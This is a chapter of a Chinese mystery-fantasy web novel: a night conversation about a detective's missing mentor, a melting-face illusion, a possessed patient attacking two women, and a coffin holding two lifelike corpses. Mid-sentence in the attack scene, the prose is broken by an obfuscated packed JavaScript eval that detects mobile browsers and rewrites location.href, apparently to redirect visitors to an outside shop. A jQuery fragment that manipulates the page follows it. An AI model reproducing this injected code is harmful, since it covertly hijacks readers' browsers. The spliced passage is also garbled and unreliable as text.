夜色渐深,窗外的雨如约而至,细密的雨点敲打着瓦片,发出连绵不绝的沙沙声。屋子里,那只好动的小猫三两下轻盈地跃上房梁,尾巴悠闲地垂落,将毛茸茸的脑袋枕在交叠的前爪上,眯缝着眼,居高临下地打量着下方对坐的两人。
玉万珰将铜壶中煮沸的热水缓缓注入杯中,蒸腾的白雾氤氲散开,带着茶香,也沾染了他额前几缕垂落的碎发,带来些许湿润的暖意。“名叫静心的小和尚,”他开口,声音在雨声中显得格外清晰,“他起初,似乎并不情愿让我们进来。”
邵冬生正将冷硬的馒头放在小炉边,用刀细心地片开豁口,洒上少许清水:“嗯。不止是他,”她头也未抬,语气平静,“那位方丈,在听闻我们要留宿后山时,虽然应允了,但我感知到的,却是深切的恐惧,以及……一种无力的悲伤。”她说着,将调好的酱料仔细涂抹在馒头切口上,炙烤的香气混合着酱料的咸香,很快充盈了整个小屋。
青绿的茶叶在热水中舒展、盘旋,汤色清浅。“这里有秘密。”他的目光落到邵冬生手中那片已烤出诱人焦黄的馒头上,带着一丝好奇:“你为何要往上面洒水?”
“这样烤出来的外皮酥脆,内里却会变得绵软湿润,”邵冬生翻转着馒头,解释道。
话题似乎就此停顿,只剩下炉火的噼啪声与窗外的雨声。玉万珰端起茶杯,饮了大半,杯沿留下淡淡的水痕。他放下杯子,忽然转换了话题,声音低沉了几分:“你当初……为什么会来花县?”
邵冬生翻转馒头的手微微一顿。屋子里陷入一片沉默,玉万珰也并未催促,只是耐心等待着。
过了好一会儿,她才重新开口,声音里带着一丝不易察觉的飘忽:“我的师父,是名捕快。当年他在常州出外差时捡到我的,自那以后,我们师徒二人便相依为命。”她将烤好的馒头递了一个给玉万珰,自己拿着另一个,却并未立刻吃。
“家中常常只有我一人,师父公务繁忙时,便会将我带到衙门等候。一次偶然,他发现我对他人的情绪、情感,有着超乎常人的敏锐感知。”她的语气渐渐沉了下去,仿佛陷入了某种并不愉快的回忆,“那时,这种能力几乎要将我折磨疯了。周遭所有人的喜怒哀乐,像无法阻挡的潮水,我无法控制地去探究、去感知……可当我忍不住去问他们,去确认时,他们看我的眼神……”她顿了顿,声音地低了下去,“仿佛在看一个怪物。”
房梁上的小猫轻轻“喵”了一声,换了个姿势,依旧慵懒地俯瞰着下方。雨水顺着屋檐流淌,在寂静的夜里,敲打出连绵不绝涟漪。
邵冬生嘴角扯出一个算不上轻松的笑,掰下一小块馒头,仿佛在叙述一件与己无关的旧闻:“后来有一次,我实在忍不住,又追上了一个路人,问他为什么会有那么浓烈的恐惧。”她抬起眼,望向玉万珰,眸子里亮起了一簇微弱的亮光,“你猜怎么着?他刚杀了人,正仓皇逃窜。我当时,竟然开心极了。那一刻我才明白,这折磨我的能力,或许能让我活下去,以一种……有用的方式。”
她顿了顿接着道:“自那以后,师父便开始教我查案,如何将这份‘敏锐’用在正途。一切似乎都走上了正轨……直到两年前。”她的声音低沉下去,“师父在一次追捕要犯时,失踪了。”
“失踪?”玉万珰捕捉到这个词的差异,下意识重复,“可我舅舅之前提到令师,说的是‘去世’?”他怀里的猫似乎被对话吸引,轻轻“喵”了一声,蹭着他拿着馒头的手。
“对外是这么宣称的。”邵冬生的声音平静得有些空洞,“因为在他失踪的那处悬崖下,只找到了他被撕裂、浸透血迹的衣物,以及……激烈搏斗的痕迹。”她将手心里的馒头又往前递了递,小猫立刻凑过来,小口啃食。
“嘎吱嘎吱”的细微声响在寂静的房间里格外清晰。
玉万珰轻轻点了点吃得正香的小猫脑袋,“原来如此,令师与张大人熟识,又与我舅舅相交,”他无意识地捏了捏猫咪柔软的肉垫,抬眸问道:“他托我舅舅转交的东西,你拿到了吗?”
邵冬生定定地看着他,烛火在她眼中跳跃:“你……就没有其他想说的了吗?”
“嗯?”玉万珰抬起头,脸上是纯粹的疑惑,“说什么?你怎么了?”
“……没什么。”邵冬生迅速垂下眼睫,摇了摇头,“东西,还没拿到。”小猫从玉万珰怀中跳开,她顺势转移了话题,语气恢复了平时的淡然,“对了,你母亲亲自去照料穆伯父,实在辛苦,怎么不多安排些人手?”
桌案上,茶水仍冒着袅袅白气。猫咪趴在房梁上悠闲晃动着尾巴。窗外的雨声不知何时已然停歇,夜陷入一片死寂。就在这片寂静中,邵冬生看见面前玉万珰的脸上,缓缓绽开一个笑容——那笑容从嘴角开始,如同蜡像遇热般慢慢融化、扭曲,他却还对着她,诡异地眨了眨眼。
“邵冬生!邵冬生!醒醒!”玉万珰焦急的呼喊声仿佛从极遥远的地方传来,又猛地逼近。感知到她似乎有了反应,那声音更加急促响亮:“快醒过来!”
这声声呼唤带着空洞的回音,反而将她拖向更深的黑暗。她眼前的最后一点光亮彻底熄灭,连那声音也最终消散,归于虚无。
“大人!客栈里搜遍了,空无一人!”一名捕快单膝跪地,拱手急报,额角的汗在冬夜的寒气中滴落,瞬间冰凉。
“地下仔细搜过了吗?”方绘立于客栈二楼廊前,远眺着黑暗中的林子轮廓。脚下大堂灯火通明,映照着的却只有往来穿梭的捕快身影,不见半个店家伙计或住客。
先前回话的捕快还未及开口,另一名衙役已疾步奔来,单膝点地:“禀大人,发现一处隐蔽地下室!其内仅有一尊孩童雕像与一副石棺,在棺后方发现一条暗道,弟兄们已循迹追去!”
“加派人手,务必查明去向。”方绘声音冷峻。
“是!”“遵命!”
“穆伯父醒了!”单雨一直留意着榻上动静,见穆和眼皮颤动,缓缓睁开,立刻朝门外唤道。
穆和眼珠僵硬地转动,视野似乎被一片血红笼罩,他嘴唇翕动,发出模糊的呓语:“花……照……”他颤巍巍地抬起手,仿佛想触碰什么,下一瞬却异变陡生!那手五指猛然屈曲成爪,带着一股不似伤患的疾风,直取单雨咽喉!
单雨虽惊不乱,侧身闪避,肩头仍被指尖扫过,传来火辣辣的痛感。她急退两步,对闻声正要踏入的万盼夏喝道:“别进来!”说话间,她已一把扯下桌案上的厚布,手腕疾翻,将其扭结成一股临时绳索,再次欺身而上,试图捆缚住穆和的双臂。
然而穆和此刻力气大得骇人,双目赤红如血,喉间发出低沉的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887777|192085||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嗬嗬声,竟完全失了神智。单雨刚将布索缠上他手臂,他便猛地一挣,“刺啦”一声,结实的厚布应声而裂!
“穆伯父,得罪了!”单雨清叱一声,不再留手,化绳为鞭,抽向其关节处,试图让他失去行动能力。穆和却仿佛不知疼痛,反手抓住布鞭,将单雨带得一个趔趄。万盼夏在门外看得心急如焚,见单雨险象环生,顾不得警告,闪身闯入,抓起桌上的茶壶便掷向穆和面门,试图分散其注意力。
“砰!”茶壶碎裂,水渍遍地。穆和动作一滞,猩红的眼睛立刻锁定了万盼夏,弃了单雨,如猛兽般扑去!万盼夏武功本就不及单雨,仓促间只来得及抬臂格挡。
“咔嚓”一声轻响,伴随着万盼夏的闷哼,她的左臂已呈不自然的弯曲。穆和的手爪已顺势抓向她面门!
“盼夏!”单雨目眦欲裂,不顾一切合身扑上,从后方死死锁住穆和的脖颈,双腿盘绕其腰际,用尽全身力气将他向后拖拽。穆和狂性大发,手肘狠狠向后撞击,单雨咬牙将其困住,口中已泛起腥甜。
混乱中,穆和尖锐的指甲划过单雨死死箍住他的前臂,带出几道深可见骨的血痕,伤口周围的皮肉竟以肉眼可见的速度开始发黑、溃烂!
“咻——”
就在两人几乎制他不住之际,一道清脆的哨声传来,穆和全身剧烈一颤,动作骤然停滞,眼中的赤红如潮水般褪去,身体软软地倒了下去,再无动静。
室内一时只剩下粗重的喘息声。万盼夏抱着骨折的手臂,疼得脸色煞白。单雨缓缓松开穆和,踉跄一步,低头看向自己手臂上那几道正迅速恶化、渗出黑血的伤口,眉头紧紧锁住。
与此同时,在那幽深的地下室内。娄征举着火折,一步步走向那具孤零零的石馆。棺盖厚重,他与几人用力将其推开一道缝隙。摩擦发出“沉沉——”一声冗长而刺耳的声响,在死寂的地下室里回荡,毛骨悚然。
火光探入棺内,跃动的光照亮了内部的景象。饶是娄征自认阅历丰富、心志坚韧,在看清棺内情形的刹那,呼吸也不由得为之一窒——
棺内并非预想中的单一尸身,而是两具。
一具是成年女子的遗体,青丝如瀑,面容安详。另一具则是个年幼的孩童,在女子身侧,仿佛依偎着沉眠。这两具尸体都保存得异常完好,肌肤饱满,面色甚至带着一丝红润,眉眼清晰,栩栩如生,仿佛只是陷入了一场深沉的睡眠,下一刻便会醒来。
他们并排躺在棺内,姿态是近乎刻意的安然,形成一种极度祥和却又无比违和的画面。
娄征的瞳孔骤然收缩,目光死死锁定在那成年女子的面容上,一个几乎被尘封的名字脱口而出:
“花……照?”
玉万珰看着跳下来的猫儿,它此刻正乖巧地蜷缩在昏迷不醒的邵冬生胸口,随着她的呼吸微微起伏。他刚想上前将猫儿抱开,视线却猛地定格——
烛光下,那猫儿周身竟开始弥漫出丝丝缕缕肉眼可见的黑色阴气!它原本温顺的琥珀色瞳孔,此刻缩成两道幽深的竖缝,泛着不祥的惨绿光芒。柔软的毛发根根倒竖,仿佛被无形的力量牵引,身躯在阴影中扭曲、膨胀,隐隐显露出利爪与獠牙的狰狞轮廓。
“鬼猫子!”【怎么会出现在这!】玉万珰心头巨震,寒意瞬间从脊椎窜上头顶。【是幻境!】